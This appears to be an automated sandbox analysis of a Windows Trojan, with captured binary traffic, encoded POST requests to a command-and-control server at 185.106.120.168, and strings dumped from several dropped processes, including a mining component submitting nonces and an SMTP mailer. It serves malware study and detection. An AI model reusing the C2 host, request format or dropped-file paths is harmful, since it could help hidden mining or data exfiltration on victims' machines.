.....C...x.~q.LK.K^?.#..b.t...A.kT .%d..Xe5y.0......[..>.....B.O..J
.......'.....x.....n.....(....J?.^M'<?.....;\O.zK$.E^.......|....1.
v?........7.....F.~....{.....1..%..B.3.....\{.^7{. .S...M}..ab....
<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 207

qioumj=p5Ox6XzW/a1dKWy6N4pSuPjD6wYOhSNYI3PUPQ5Sv+g4IoQy3HUZwqgH3yPbb7TYWOkBsKW8RAX4hm0IYCe+af7DKXUN8ZpnccwwMz8gxHF+eKC9JCsYs3P0CK6thlUoFRJJCctgIG9NSnf9jxInpieHvVKR7vaFPJbGtSFuQMoL4EiG3pY6iEKpsw==
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:20 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
?..t...0f.5....nv.]9.T.......Q...*{..k.<.e........R....*.F-._...u.a
.=./.:*:L.nln...95...O...$..DM.k&.a..V..@F%1.eO...#c..aF..\~.&Z.(&.6..
... p....E....2...xh..f:..V.IQ..#..OW...9.p..ul?.......3..}..?)..E&.M#
".)..g.M.._kx.(E..oS...\c...B.~^7..H.....{....8^.1 ./.....\UZ..k.....e
0. ,...X..7$r.......a..t....5DE....g...|G`}M..^I.9.........u?.5.omC.S.
...E.'7.k".v.......m..........F...C,..U^;..vY..t`.wK.|....&i..L*.J.n..
.P..a...e=A...tj..{.(w..Y.G-6..t9.V...Z?...`..<..'.m...R..E.....b..
..I?..L...[hL.x.]....t$Z=..cP...8....L`3...J....,Q.. ,..}....??S..Xr..
gl.... .!.D..wJ.0.H..D.[7...x6.......;.z8B.........;H;..tY...lp....(..
B/..m..~G......2:"3.HXQ.Tf.3..W/.....|.....K.[20.A....$....1CD...<$
k....4.."[.1_..?.)$t.....b... 1....{.aC..J.:..z9...8W ...........78"..
.3...........(e.D.,&...|.0..vf.EHzB..-..NZ.3.`x....NV..r-.....Y...]h.2
.g...I[.B.D..1.......x._.m.......aeU...0.Wi...a.*iB...[$'........{.";.
.A.5SS......?;.b...&..Z..D...d...3c....U........ H'[..).az....^...Vy.&
gt;a>.vd.....3.y.6*...`#..d.`.':t.P....h.....D0...R..]b.;.......[.[
....$...\..4...#.U.....hVJ.....=99........v..5..<=.i~!.:.v.?..#.2~.
.... #..C=u?.,..Y2.R..j..o".O.]}.X....U...N.:;..d"....X.....^E........
N&..."o....p5...\... H..~.s........Zb}.m@.{QI4$S.].......7f....#..-...
.mt.p....;v2.=..#.UD/...C1M.J> .~..-c.....9..)r...l4.A.C85.....{...
"..t$X.3......$.}...I..j....v.K.(h._....J.....>k...Z.{ ..Nj...F6.[M
,.(...71w!...kK(g.P..o.!...D.a..NT...2.b..!.sQ.L*[email protected]"yd
VuDcYo.?...i.ocF.g.q-.......e..7a..R.%./f.....(..J.]U?0.C..w...7..
<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 283

qioumj=9EhCgBwNDsS+3RAgg9d79YrLZTpyLWpUtbdka0VQcHz4u+Zr3EQh7mbzHQgzIPXMrgph+/EAVg3BRF8d2xU+t5oBM33iMdJzKt1qoOB6kI699PtMCPJRgLGwfKMxbfcDWdRwRXsOAO1ydaR+g2+6yeyhUWqD+4RIHo3/eHwaHn578RB31er/PynbHk5opO/EnyRgZkqORlRaMCS2T/5n9UpCfVIY0jKUzn88aQ4nstwjgnBwwn9Nlg==
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:17 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
cJ!@ .m."C.0R........

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 199

qioumj=y4iEnx3NyNu8feFng4+U1qK/iDFqDpJDSsoMMOKCU25Ex611DKf7rGcdF+e7p9eFhzw2CEfyEQiVQWW6qOVzc6oLZMQBibLjjOOxhgPo3UWY9APTZZ92EgIexPcxlH/l04LUB902oAhj3Ih+IhtFqxkMjvtNazCRH1SIgWYzp0XFbRhL9KI=
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:19 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
...../.........Y.1.K..~...?.y...S....t.........se.,8.r.4..CN.2..7.....
..q...../.5.A<2~..{.Z....k4 F}...3..t.a...gM].RV..dw...(DE......b..
b..J.H....g..m.!.{.N.C*..2lE5v.;.......`#......pe......_[.}.. ..P..Koc
...4...&K0]H%.u.....h.s..e1............4..4..[2...g...e.B_7..c...v{...
...I".....E.0..[I-.T8.CAn.....D...b.<6>2.ID..<5!.............
t...h.t..H9.yf...N1.Y#..kH..It.....h5aD.~.j.......~L..c=.T."..oS.O_.L.
.2..i/.`..7.g.....#.4......$..[F..lm-..m...a..bK..........0?..g.......
xW...NA....$.0I.....ep.<... I  ..Vu..`[email protected]
.*..u..*y...yo..f....{.l9....e.5.......\......Bp.)[email protected]
.(..^^$...=u..J..p.0.^....T.e..R3cd.....l...k..)BX1.A...p..D.....8h...
...Fm...=..../.af...0...]......P..gg.qi....T..w7......xvXH......C.h...
\.Q.u.........J(..D.x.>.2..a..[x..v....(.O~..8 ...M.O..........6...
m.7.C<\,...H...h...'V.@(.v..6.F.e..*.M;?'.8"O.#..\..;._.:.....I(?.5
........%pp>SL.l..A=.6.k...!...#x..x.G...}....ain.J...E.<?@qR'..
.............../.P.X..X-....E.nFsG.............8.5D.6....].......6"7y.
.o\..^...].~.... o..g......xJo........K.4r..W.A.S.W.r.fO....D....7....
!..w\`NH$.j.1V._3.L...U.%..=(..d....'....JQe)gN..w..... .8...D.N.....W
.......xl...|6.X*..V....V.I..N...~..`..Z.. .^.....w...g..?P..4.D.jc...
..Q.M8..'a...ID.%8`.]_C....-......G.$(.`2.s-.....gN.T..UB....4%^B.....
{...G.d.J..uUB.@8>..7.mI.eY.....~<....Q4...s6>0....e.O...b_..
A..a..=lf"{........s.~...d{.....8.....P%...bw......._...25..t........y
.a\.....}n.......].....C.F..qC...)..0?.c...V...._%.b>}h..O..BG.
<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 167

qioumj=CzJujS53Iskq91ujPLPMPWbCpsDwRA04XBoTR5U4f6hbxPVsi1R2EgNBheGmyWx8md3Lkp+eZHQ5pkVby6iksvraI67hVmo2J6LLe6GAeyqaucjjVbBvdqeQTc5FibKp4qz3WAbbFwnLzUIoHwIkvQGD+6uj
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:17 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
.V.F....M..6.....:,t^.R*.o.....d.Xq.......si......dd{.........h..|A...
.]..gw......=4..O........FR.G...@E..|.x.....~..g...........}U...'.....
GX..Q.....S..@..~.4Tmc.=...v............l1...6M..2^...|."...|..9.9....
D....*.......ry.T..=.q_.0Og...th....po...... .......cA]h.......T....E.
.f.5....<......B.........e).......u....nx(d.a........R:}......j|..)
.o.q.......!4.i"i..c.....j]&.B...>..6M..f..p....A........T.M,y....O
l....x.O....x!....h!..^[y.%..F[.......%.'..<..4)v...|5.{...,1......
)\c....^T.X..k,.p5..2...o..{.....m..i....y.)...)..?..y..#d>p......t
#[email protected];!.I..?w.w.l/.L.M=....F.......qc..H.;[email protected]./
C..h..4z..`o#L#.....Y.za.....\@.....H7.h2qqW.8.cL.K.&.....j......<T
......p..8......|.. ....m...6y.Q..^.....6.........._..j.|z.HC...E^o...
....[\......R..z.$E.....j.}o%....e&[......iF. *.a...0..>....L...&..
...Z.....D.Qa.|.0....h.%L...&.b..mM..6..D.4..M...&..h....I..b.W.-.>
.6.G..d..MR..rXXN....IV..$.Z.... .j\.d.....OG-..4~..~V.!........pjU$..
*..Z.nq..&.x79..CA....).(..U..j*....9.V....EN.Ob..P.7.p...B.x.br:..9..
*.<.^N...... S.)_....T...*............?.k..-1.O.....y.S.).....T9d.*
..?..\.J~.O....R..S......eTj..*....Z..J-.W..O}R.....~..b..j1':....Z...
-..i.c*/.1.,..V.b...1F.;......5.....c.`.1.(x.}dP.>.ZF..s..q...:...{
^.a.l....}..4>l.k..q..[9....\...*ak;..5......lM...&..[......H..0*k.
..5y......M^..&/1L.......J.E..... y.. ...e^.../zs}.=0w...SEO.........&
lt;...t.t..z:S.=.:.....OGt..#M....o...At...:....q...8^kG..d#N.......S.
/........q...8....z$.N=.w..C.S..`.....n......t.2.z..V-O7...7...=7.
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.reloc

'0ß

.mlWj

]_%sK

SSSh0

B=>j%f

xSSSh

FTPjKS

FtPj;S

C.PjRV

GetProcessWindowStation

portuguese-brazilian

GetProcessHeap

KERNEL32.dll

GDI32.dll

GetKeyboardType

USER32.dll

GetCPInfo

PeekNamedPipe

zcÁ

|%System%\qtvtnsadc.exe

q185.106.120.168

wWATCHDOGPROC "c:\windows\system32\abhdqfjyr.exe"

%System%\abhdqfjyr.exe

0
0f0r0x0~0

= ='=-=3=9=?=

7w7F7N7T7h7n7{7

88X8b8h8r8

5P5C5U5m5v5

2%2F2X2f2v2

9•9F9Q9W9e9n9t9~9

2/2O2Y2d2m2u2

8"9(9/959

3!3*303:3

9–9D9T9Z9c9o9y9

5!5'525=5

9”9D9J9R9k9

11D1K1X1c1w1

; ;$;(;,;0;4;8;<;

mscoree.dll

ADVAPI32.DLL

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

ke7qslsbgtc2eo.exe_384:

.text

`.rdata

@.data

.reloc

'0ß

.mlWj

]_%sK

SSSh0

B=>j%f

xSSSh

FTPjKS

FtPj;S

C.PjRV

GetProcessWindowStation

portuguese-brazilian

GetProcessHeap

KERNEL32.dll

GDI32.dll

GetKeyboardType

USER32.dll

GetCPInfo

PeekNamedPipe

zcÁ

%WinDir%\TEMP\ke7qslsbgtc2eo.exe

0
0f0r0x0~0

= ='=-=3=9=?=

7w7F7N7T7h7n7{7

88X8b8h8r8

5P5C5U5m5v5

2%2F2X2f2v2

9•9F9Q9W9e9n9t9~9

2/2O2Y2d2m2u2

8"9(9/959

3!3*303:3

9–9D9T9Z9c9o9y9

5!5'525=5

9”9D9J9R9k9

11D1K1X1c1w1

; ;$;(;,;0;4;8;<;

mscoree.dll

ADVAPI32.DLL

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

win32blot2.exe_1920:

.text

`.rdata

@.data

.rsrc

kernel32.dll

%srecyclebin\ver2

%srecyclebin\*

%srecyclebin\%s

%srecyclebin\*_*_*_*

%llu_%llu_%u_%u

%c:\recyclebin\%llu_%llu_%u_%u

%srecyclebin\%llu_%llu_%u_%u

%srecyclebin

Adjusting total nonces to %u to match stagger size

System.PercentFull;

Registry key TileInfo changed!

Registry key PreviewDetails changed!

%s\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

win32purst2.exe

%s %s %s %s %s %s

GetProcessWindowStation

operator

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

KERNEL32.dll

RegCloseKey

RegCreateKeyExA

RegEnumKeyExA

RegOpenKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

GetCPInfo

GetProcessHeap

zcÁ

%System%\p2p_04\win32\win32blot2.exe

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

mscoree.dll

@kernel32.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

yac32sse41b.exe_1968:

.text

P`.data

.rdata

`@.bss

.idata

libgcj-13.dll

ADVAPI32.dll

ws2_32.dll

wsock32.dll

127.0.0.1

operator

operator

global constructors keyed to

global destructors keyed to

operator""

_matherr(): %s in %s(%g, %g) (retval=%g)

VirtualQuery failed for %d bytes at address %p

VirtualProtect failed with code 0x%x

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

GCC: (GNU) 4.8.2 20131016 (Fedora MinGW 4.8.2-1.fc20)

_acmdln

_amsg_exit

KERNEL32.dll

msvcrt.dll

WS2_32.dll

win32purst2.exe_1492:

.text

`.rdata

@.data

.rsrc

@.reloc

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

kernel32.dll

recv = %s

POST /burst?requestType=submitNonce&accountId=%llu&nonce=%llu HTTP/1.0

%c:\recyclebin\*

%c:\recyclebin\%s

Error opening file %s

(ws2_32.dll

|wsock32.dll

127.0.0.1

ADVAPI32.dll

KERNEL32.dll

WS2_32.dll

GetProcessHeap

GetCPInfo

zcÁ

%System%\p2p_04\win32\win32purst2.exe

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

5#6-676=7

"0(0,00040

5!5%5)5-5155595=5]5

5 5@5\5`5

@mscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

ke7qslsbgtc4eo.exe_1128:

tGHt.Ht&

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

ADVAPI32.dll

127.0.0.1

C:\recyclebin\recycle\lock

C:\recyclebin\recycle\last

C:\recyclebin\recycle\upload.txt

C:\recyclebin\recycle\post.txt

C:\recyclebin\recycle\ofs

XMLHttpRequest_POST

spawned: '%s'

can't spawn: '%s'

%WinDir%\TEMP\ke7qslsbgtc4eo.exe

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

.text

`.rdata

@.data

!"#$%&'(

.tx%#

KERNEL32.DLL

WS2_32.dll

mscoree.dll

ke7qslsbgtc4eo.exe_1128_rwx_00401000_00018000:

tGHt.Ht&

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

ADVAPI32.dll

127.0.0.1

C:\recyclebin\recycle\lock

C:\recyclebin\recycle\last

C:\recyclebin\recycle\upload.txt

C:\recyclebin\recycle\post.txt

C:\recyclebin\recycle\ofs

XMLHttpRequest_POST

spawned: '%s'

can't spawn: '%s'

%WinDir%\TEMP\ke7qslsbgtc4eo.exe

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

.text

`.rdata

@.data

!"#$%&'(

.tx%#

mscoree.dll

KERNEL32.DLL

qtvtnsadc.exe_628:

.text

`.rdata

@.data

.reloc

'0ß

.mlWj

]_%sK

SSSh0

B=>j%f

xSSSh

FTPjKS

FtPj;S

C.PjRV

GetProcessWindowStation

portuguese-brazilian

GetProcessHeap

KERNEL32.dll

GDI32.dll

GetKeyboardType

USER32.dll

GetCPInfo

PeekNamedPipe

zcÁ

%System%\qtvtnsadc.exe

0
0f0r0x0~0

= ='=-=3=9=?=

7w7F7N7T7h7n7{7

88X8b8h8r8

5P5C5U5m5v5

2%2F2X2f2v2

9•9F9Q9W9e9n9t9~9

2/2O2Y2d2m2u2

8"9(9/959

3!3*303:3

9–9D9T9Z9c9o9y9

5!5'525=5

9”9D9J9R9k9

11D1K1X1c1w1

; ;$;(;,;0;4;8;<;

mscoree.dll

ADVAPI32.DLL

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

smtp_mailer.exe_568:

.text

`.rdata

@.data

.rsrc

@.reloc

|$@3|$<3

3|$<3|$$

u.jch

j.Yf;

_tcPVj@

.PjRW

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

operator

GetProcessWindowStation

OpenSSL 0.9.8l 5 Nov 2009

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

EXPORT56

EXPORT40

EXPORT

.\ssl\ssl_cert.c

SSLv3 part of OpenSSL 0.9.8l 5 Nov 2009

TLSv1 part of OpenSSL 0.9.8l 5 Nov 2009

SSLv2 part of OpenSSL 0.9.8l 5 Nov 2009

s->session->master_key_length >= 0 && s->session->master_key_length < (int)sizeof(s->session->master_key)

wrong number of key bits

unsupported status type

unsupported ssl version

unsupported protocol

unsupported elliptic curve

unsupported compression algorithm

unsupported cipher

unknown pkey type

unknown key exchange type

unknown certificate type

unable to find public key parameters

unable to extract public key

unable to decode ecdh certs

unable to decode dh certs

tried to use unsupported cipher

tls peer did not respond with certificate list

tls client cert req with anon cipher

tlsv1 alert export restriction

sslv3 alert unsupported certificate

sslv3 alert no certificate

sslv3 alert certificate unknown

sslv3 alert certificate revoked

sslv3 alert certificate expired

sslv3 alert bad certificate

signature for non signing certificate

reuse cert type not zero

reuse cert length not zero

public key not rsa

public key is not rsa

public key encrypt error

peer error unsupported certificate type

peer error no certificate

peer error certificate

peer did not return a certificate

null ssl method passed

no publickey

no private key assigned

no privatekey

no client cert received

no client cert method

no ciphers passed

no certificate specified

no certificate set

no certificate returned

no certificate assigned

no certificates returned

missing tmp rsa pkey

missing tmp rsa key

missing tmp ecdh key

missing tmp dh key

missing rsa signing cert

missing rsa encrypting cert

missing rsa certificate

missing export tmp rsa key

missing export tmp dh key

missing dsa signing cert

missing dh rsa cert

missing dh key

missing dh dsa cert

krb5 server rd_req (keytab perms?)

key arg too long

invalid ticket keys length

http request

https proxy request

error generating tmp rsa key

cert length mismatch

certificate verify failed

bad ecc cert

bad dh pub key length

TLS1_SETUP_KEY_BLOCK

SSL_VERIFY_CERT_CHAIN

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey

SSL_use_PrivateKey_file

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey

SSL_use_certificate_file

SSL_use_certificate_ASN1

SSL_use_certificate

SSL_SET_PKEY

SSL_SET_CERT

SSL_SESS_CERT_NEW

SSL_GET_SIGN_PKEY

SSL_GET_SERVER_SEND_CERT

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate

SSL_CTX_set_client_cert_engine

SSL_CTX_check_private_key

SSL_check_private_key

SSL_CERT_NEW

SSL_CERT_INSTANTIATE

SSL_CERT_INST

SSL_CERT_DUP

SSL_add_file_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL3_SETUP_KEY_BLOCK

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_OUTPUT_CERT_CHAIN

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_STATUS

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GENERATE_KEY_BLOCK

SSL3_CHECK_CERT_AND_ALGORITHM

SSL2_SET_CERTIFICATE

SSL2_GENERATE_KEY_MATERIAL

REQUEST_CERTIFICATE

GET_CLIENT_MASTER_KEY

DTLS1_SEND_SERVER_KEY_EXCHANGE

DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_OUTPUT_CERT_CHAIN

CLIENT_MASTER_KEY

CLIENT_CERTIFICATE

key expansion

client write key

server write key

c->iv_len <= (int)sizeof(s->session->key_arg)

s->s2->key_material_length <= sizeof s->s2->key_material

Stack part of OpenSSL 0.9.8l 5 Nov 2009

%s(%d): OpenSSL internal error, assertion failed: %s

lhash part of OpenSSL 0.9.8l 5 Nov 2009

cert_info

Microsoft Local Key set

LocalKeySet

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

password based MAC

id-PasswordBasedMAC

X509v3 Certificate Issuer

certificateIssuer

certicom-arc

Proxy Certificate Information

proxyCertInfo

Microsoft Smartcardlogin

msSmartcardLogin

joint-iso-itu-t

JOINT-ISO-ITU-T

set-rootKeyThumb

setAttr-Cert

setCext-cCertRequired

setCext-certType

setct-CertResTBE

setct-CertReqTBEX

setct-CertReqTBE

setct-AcqCardCodeMsgTBE

setct-CertInqReqTBS

setct-CertResData

setct-CertReqTBS

setct-CertReqData

setct-PCertResTBS

setct-PCertReqData

setct-AcqCardCodeMsg

certificate extensions

set-certExt

set-msgExt

id-ecPublicKey

id-cmc-confirmCertAcceptance

id-cmc-getCert

id-regInfo-certReq

id-regCtrl-protocolEncrKey

id-regCtrl-oldCertID

id-it-revPassphrase

id-it-keyPairParamRep

id-it-keyPairParamReq

id-it-unsupportedOIDs

id-it-caKeyUpdateInfo

id-it-encKeyPairTypes

id-it-signKeyPairTypes

id-it-caProtEncCert

id-mod-attribute-cert

id-mod-qualified-cert-93

id-mod-qualified-cert-88

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certValues

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-otherSigCert

id-smime-aa-smimeEncryptCerts

id-smime-aa-signingCertificate

id-smime-aa-encrypKeyPref

id-smime-aa-msgSigDigest

id-smime-ct-publishCert

id-smime-mod-msg-v3

sdsiCertificate

x509Certificate

localKeyID

certBag

pkcs8ShroudedKeyBag

keyBag

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

TLS Web Client Authentication

TLS Web Server Authentication

X509v3 Extended Key Usage

extendedKeyUsage

X509v3 Authority Key Identifier

authorityKeyIdentifier

X509v3 Certificate Policies

certificatePolicies

X509v3 Private Key Usage Period

privateKeyUsagePeriod

X509v3 Key Usage

keyUsage

X509v3 Subject Key Identifier

subjectKeyIdentifier

Netscape Certificate Sequence

nsCertSequence

Netscape CA Policy Url

nsCaPolicyUrl

Netscape Renewal Url

nsRenewalUrl

Netscape CA Revocation Url

nsCaRevocationUrl

Netscape Revocation Url

nsRevocationUrl

Netscape Base Url

nsBaseUrl

Netscape Cert Type

nsCertType

Netscape Certificate Extension

nsCertExt

extendedCertificateAttributes

challengePassword

dhKeyAgreement

Diffie-Hellman part of OpenSSL 0.9.8l 5 Nov 2009

crlUrl

certStatus

certId

OCSP_CERTSTATUS

value.unknown

value.revoked

value.good

value.byKey

value.byName

reqCert

OCSP_CERTID

issuerKeyHash

certs

X.509 part of OpenSSL 0.9.8l 5 Nov 2009

OPENSSL_ALLOW_PROXY_CERTS

.\crypto\ec\ec_key.c

RSA part of OpenSSL 0.9.8l 5 Nov 2009

Big Number part of OpenSSL 0.9.8l 5 Nov 2009

CERTIFICATE

.\crypto\engine\eng_pkey.c

.\crypto\dh\dh_key.c

EVP part of OpenSSL 0.9.8l 5 Nov 2009

len>=0 && len<=(int)sizeof(ctx->key)

j <= (int)sizeof(ctx->key)

EC part of OpenSSL 0.9.8l 5 Nov 2009

priv_key

pub_key

ASN.1 part of OpenSSL 0.9.8l 5 Nov 2009

ENCRYPTED PRIVATE KEY

PRIVATE KEY

EC PRIVATE KEY

DSA PRIVATE KEY

RSA PRIVATE KEY

ANY PRIVATE KEY

CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

X509_PUBKEY

public_key

.\crypto\asn1\x_pubkey.c

AUTHORITY_KEYID

keyid

X509_CERT_PAIR

X509_CERT_AUX

ECDSA part of OpenSSL 0.9.8l 5 Nov 2009

DSA part of OpenSSL 0.9.8l 5 Nov 2009

value.single

value.set

PROXY_CERT_INFO_EXTENSION

Load certs from files in a directory

%s%clx.%s%d

d.registeredID

d.iPAddress

d.uniformResourceIdentifier

d.ediPartyName

d.directoryName

d.dNSName

d.rfc822Name

d.otherName

RAND part of OpenSSL 0.9.8l 5 Nov 2009

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

SHA1 part of OpenSSL 0.9.8l 5 Nov 2009

SHA-256 part of OpenSSL 0.9.8l 5 Nov 2009

SHA-512 part of OpenSSL 0.9.8l 5 Nov 2009

DlMD5 part of OpenSSL 0.9.8l 5 Nov 2009

MD2 part of OpenSSL 0.9.8l 5 Nov 2009

6RC2 part of OpenSSL 0.9.8l 5 Nov 2009

RC4 part of OpenSSL 0.9.8l 5 Nov 2009

IDEA part of OpenSSL 0.9.8l 5 Nov 2009

unsupported requestorname type

signer certificate not found

private key does not match certificate

no public key

no certificates in chain

error parsing url

certificate verify error

PARSE_HTTP_LINE1

OCSP_parse_url

OCSP_cert_id_new

invalid cmd number

invalid cmd name

failed loading public key

failed loading private key

cmd not executable

ENGINE_UNLOAD_KEY

ENGINE_load_ssl_client_cert

ENGINE_load_public_key

ENGINE_load_private_key

ENGINE_ctrl_cmd_string

ENGINE_ctrl_cmd

ENGINE_cmd_is_executable

functionality not supported

WIN32_JOINER

prng seed must not match key

prng not rekeyed

prng keyed

no key set

unsupported pkcs12 mode

key gen error

PKCS8_add_keyusage

PKCS12_PBE_keyivgen

PKCS12_newpass

PKCS12_MAKE_SHKEYBAG

PKCS12_MAKE_KEYBAG

PKCS12_key_gen_uni

PKCS12_key_gen_asc

PKCS12_add_localkeyid

unsupported option

unable to get issuer keyid

policy syntax not currently supported

operation not defined

no proxy cert policy language defined

no issuer certificate

extension setting not supported

V2I_EXTENDED_KEY_USAGE

V2I_AUTHORITY_KEYID

S2I_SKEY_ID

S2I_ASN1_SKEY_ID

R2I_CERTPOL

unsupported content type

unsupported cipher type

unknown operation

unable to find certificate

operation not supported on this type

no recipient matches key

no recipient matches certificate

decrypted key is wrong length

PKCS7_add_certificate

unsupported method

no port specified

no port defined

no accept port specified

BIO_get_port

ECDH_compute_key

data too large for key size

unsupported field

passed null parameter

not a supported NIST prime

missing private key

invalid private key

o2i_ECPublicKey

i2o_ECPublicKey

i2d_ECPrivateKey

EC_KEY_print_fp

EC_KEY_print

EC_KEY_new

EC_KEY_generate_key

EC_KEY_copy

EC_KEY_check_key

d2i_ECPrivateKey

unsupported type

unsupported public key type

unsupported encryption algorithm

unsupported any defined by type

unknown public key type

unable to decode rsa private key

unable to decode rsa key

streaming not supported

private key header missing

bad password read

X509_PKEY_new

i2d_RSA_PUBKEY

i2d_PublicKey

i2d_PrivateKey

i2d_EC_PUBKEY

i2d_DSA_PUBKEY

d2i_X509_PKEY

d2i_PublicKey

d2i_PrivateKey

unsupported algorithm

unknown key type

unable to get certs public key

no cert set for us to verify

loading cert dir

key values mismatch

key type mismatch

cert already in hash table

cant check dh key

X509_verify_cert

X509_STORE_add_cert

X509_REQ_check_private_key

X509_PUBKEY_set

X509_PUBKEY_get

X509_load_cert_file

X509_load_cert_crl_file

X509_get_pubkey_parameters

X509_check_private_key

GET_CERT_BY_SUBJECT

ADD_CERT_DIR

operation not allowed in fips mode

key size too small

DSA_BUILTIN_KEYGEN

unsupported encryption

read key

public key no rsa

problems getting password

error converting private key

PEM_READ_PRIVATEKEY

PEM_READ_BIO_PRIVATEKEY

PEM_PK8PKEY

PEM_F_PEM_WRITE_PKCS8PRIVATEKEY

DO_PK8PKEY_FP

DO_PK8PKEY

d2i_PKCS8PrivateKey_fp

d2i_PKCS8PrivateKey_bio

wrong public key type

unsupported salt type

unsupported private key algorithm

unsupported prf

unsupported key size

unsupported key derivation function

unsupported keylength

unsuported number of rounds

seed key setup failed

keygen failure

invalid key length

fips mode not supported

expecting a ec key

expecting a ecdsa key

expecting a dsa key

expecting a dh key

expecting an rsa key

different key types

ctrl operation not implemented

camellia key setup failed

bn pubkey error

bad key length

aes key setup failed

PKCS5_v2_PBE_keyivgen

PKCS5_PBE_keyivgen

EVP_PKEY_new

EVP_PKEY_get1_RSA

EVP_PKEY_get1_EC_KEY

EVP_PKEY_GET1_ECDSA

EVP_PKEY_get1_DSA

EVP_PKEY_get1_DH

EVP_PKEY_encrypt

EVP_PKEY_decrypt

EVP_PKEY_copy_parameters

EVP_PKEY2PKCS8_broken

EVP_PKCS82PKEY

EVP_CIPHER_CTX_set_key_length

ECKEY_PKEY2PKCS8

ECDSA_PKEY2PKCS8

DSA_PKEY2PKCS8

DSAPKEY2PKCS8

D2I_PKEY

CAMELLIA_INIT_KEY

AES_INIT_KEY

invalid public key

GENERATE_KEY

DH_generate_key

DH_compute_key

COMPUTE_KEY

rsa operations not supported

digest too big for rsa key

data too small for key size

RSA_generate_key

RSA_check_key

RSA_BUILTIN_KEYGEN

passed a null parameter

DSO support routines

x509 certificate routines

ddddddZ

ddddddZ

PEM part of OpenSSL 0.9.8l 5 Nov 2009

phrase is too short, needs to be at least %d chars

Enter PEM pass phrase:

TRUSTED CERTIFICATE

